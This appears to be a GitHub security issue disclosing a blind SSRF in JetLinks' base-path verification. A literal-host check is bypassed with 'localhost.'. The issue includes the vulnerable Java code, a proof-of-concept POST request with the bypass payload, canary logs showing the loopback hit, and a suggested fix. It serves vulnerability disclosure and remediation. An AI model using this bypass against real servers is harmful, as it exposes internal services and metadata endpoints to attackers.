Skip to content

System base-path verification SSRF #765

Description

@cyuanb

Summary

The authenticated paths configuration endpoint accepts a caller-controlled base-path. Saving that value emits an asynchronous configuration event, and the verifier requests the supplied URL with /system/config/base-path/verification appended. The implementation blocks only the exact host strings 127.0.0.1 and localhost, so a canonical-equivalent hostname such as localhost. can reach loopback.

Root Cause

The vulnerable source is the paths configuration save operation exposed by SystemConfigManagerController.java:44-49,102-108. The request to POST /system/config/{scope} stores the paths scope and its base-path property. The value is not used only as application configuration; it becomes input to an asynchronous verification request.

ConfigVerificationService.java:61-108 receives the saved configuration event and invokes validation for the paths scope:

@EventListener
public void handleConfigSavedEvent(EntitySavedEvent<ConfigEntity> event) {
    event.async(
        Flux.fromIterable(event.getEntity())
            .filter(config -> Objects.equals(config.getScope(), "paths"))
            .flatMap(config ->
                doBasePathValidate(config.getProperties().get("base-path")))
    );
}

doBasePathValidate appends PATH_VERIFICATION_URI to the supplied base path and parses the result as a URI:

URI uri = URI.create(
    CastUtils.castString(basePath)
             .concat(PATH_VERIFICATION_URI));
if (Objects.equals(uri.getHost(), "127.0.0.1")) {
    return Mono.error(...);
}
if (Objects.equals(uri.getHost(), "localhost")) {
    return Mono.error(...);
}
return webClient.get().uri(uri).exchangeToMono(...);

The attacker-controlled source is therefore paths.base-path. It flows through the saved ConfigEntity and the event listener into URI.create, then reaches WebClient.get().uri(uri). The security check compares the unnormalized host string with two literal values; it does not resolve the hostname and compare the resulting address against loopback, private, link-local, or metadata ranges. The hostname localhost. is not equal to localhost during the check but resolves to 127.0.0.1 when the HTTP client connects.

The source-to-sink flow is:

POST /system/config/paths
  -> ConfigEntity.properties["base-path"]
  -> EntitySavedEvent
  -> ConfigVerificationService.doBasePathValidate
  -> URI.create(base-path + verification path)
  -> literal host checks
  -> WebClient.get().uri(uri)
  -> target-side HTTP service

POC

  • The HTTP canary was 127.0.0.1:28081 and shared the target-side test network namespace

request A:

POST /system/config/paths HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 73

{"base-path":"http://localhost.:28081/poc/jetlinks-community_SSRF-001-A"}

Response A:

HTTP/1.1 200 OK
traceparent: 00-6e873f4744b4eabfecd56ea56d0e0789-961464c0e8a2bd30-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60

{"message":"success","status":200,"timestamp":1785654790840}

request B used the same request with SSRF-001-B in the canary path and returned:

HTTP/1.1 200 OK
traceparent: 00-85025c8253ec8ddd19990c8ce98d2d74-5b6cc5f7dd3da7d9-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60

{"message":"success","status":200,"timestamp":1785654791932}

Target-side canary evidence:

GET /poc/jetlinks-community_SSRF-001-A/system/config/base-path/verification
source: 127.0.0.1

GET /poc/jetlinks-community_SSRF-001-B/system/config/base-path/verification
source: 127.0.0.1

Impact

An authenticated principal that can write the paths configuration can make JetLinks send HTTP requests to loopback, private-network, link-local, metadata, or other reachable HTTP services. This is blind SSRF and can be used for internal service discovery, triggering internal HTTP actions, or reaching administrative endpoints.

Suggested Fix

Parse and normalize the destination, resolve every hostname, and reject all loopback, private, link-local, multicast, and cloud-metadata addresses for every resolved address. Re-check the destination after DNS resolution and on every redirect, restrict schemes and ports, and prefer an explicit allowlist for base-path hosts.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions